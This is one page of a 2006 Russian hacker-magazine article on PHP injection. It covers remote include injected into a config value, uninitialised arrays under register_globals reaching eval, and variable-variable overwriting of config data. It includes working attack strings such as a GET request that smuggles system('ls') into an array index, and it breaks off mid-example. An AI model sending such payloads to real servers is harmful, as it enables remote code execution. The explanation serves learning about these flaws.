Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #90, ИЮНЬ 2006 г.

PHPenetration

Zadoxlik (antichat.ru)

Хакер, номер #090, стр. 090-072-6


$exbb['boardurl'] = 'http://exbb'.@include('http://127.0.0.1/talakin.txt').''

Если переменные хранят значения за двойными кавычками, то нам даже необязательно выходить за них, что было необходимо «с '». Во-первых, мы можем вывести себе любую переменную, просто прописав ее имя, а во-вторых, можем выполнить любую функцию, в том числе всякие system и аналоги с помощью трюка, который описан ниже.

Что еще может быть?

А может быть еще очень и очень много полезных вещей, давай по пунктам. Можно:

1)Использовать массив данных, без предварительного объявления. Например:

for($i=0;$i<10;$i++)

{

@$a[$i]=$s[$i];

//Копируем 10 первых

//элементов массива $s

//в a, без определения $a

}

for($i=0;$i<count($a);$i++)

{

eval('$y['.$a[$i].']='.$i);

//какое-то извращение

//криворукого программера

}

Подразумевается, что $s - «безопасный» массив, то есть никакой опасности

для конструкции он не представляет. Однако посмотрим, что будет, если на сервере включен register_globals. Если послать такой GET-запрос: http://host/script.php?a[10]=1;system('ls');//, то мы получим листинг файлов директории,в которой находится script.php. Это происходит потому, что определение 11-ого (в массивах элементы считаются от нулевого элемента) никак не противоречит определениям скрипта. Никто не претендует на место 11-го элемента массива, поэтому мы получим доступ к якобы уже определенному массиву. Чтобы избавиться от данной ошибки, надо предварительно написать определение $a=array(). При передаче элемента массива через GET-, POST-запросы или куки ключ не ставится в кавычки. Таким образом, в запросе следует писать array[nameindex], а не array['nameindex']. Эту ошибку часто можно встретить при работе с модульными файлами. То есть, рассчитывая на определение массива в другом модуле или ядре, конкретный модуль является уязвимым, и иногда при особым образом сформированном запросе, непосредственно к модулю, можно вызвать нежелательное обращение к элементам массива. Это частный случай, а вообще, движки с модулями, доступными для прямого обращения и работающие при таком обращении в обычном режиме - очень лакомый кусочек.

2)Каким-либо образом подвергать опасности уже определенные переменные переопределения. Рассмотрим конкретную ошибку PHP-инъекции в vcard.

Конфигурационные данные движка определены в специальном файле-конфиге, который инклудится в каждый самостоятельный PHP-файл (файл, к которому предполагается непосредственное обращение пользователя), в самом начале этого скрипта. Все конфигурационные данные представляют собой элементы ассоциативного массива $cfg. После чего идет код, который осуществляет замену всех параметров, переданных через GET, в одноименные переменные внутри скрипта.

if (!empty($_GET))

{

foreach ($_GET as $tmp_varname => $tmp_value)

{

$$tmp_varname = $tmp_value;

}

}

Обрати внимание, что это происходит после того, как были определены конфигурационные данные! Это означает только одно: мы можем переопределить все конфигурационные данные, сформировав запрос примерно такого вида:

Назад на стр. 090-072-5  Содержание  Вперед на стр. 090-072-7
Hosted by uCoz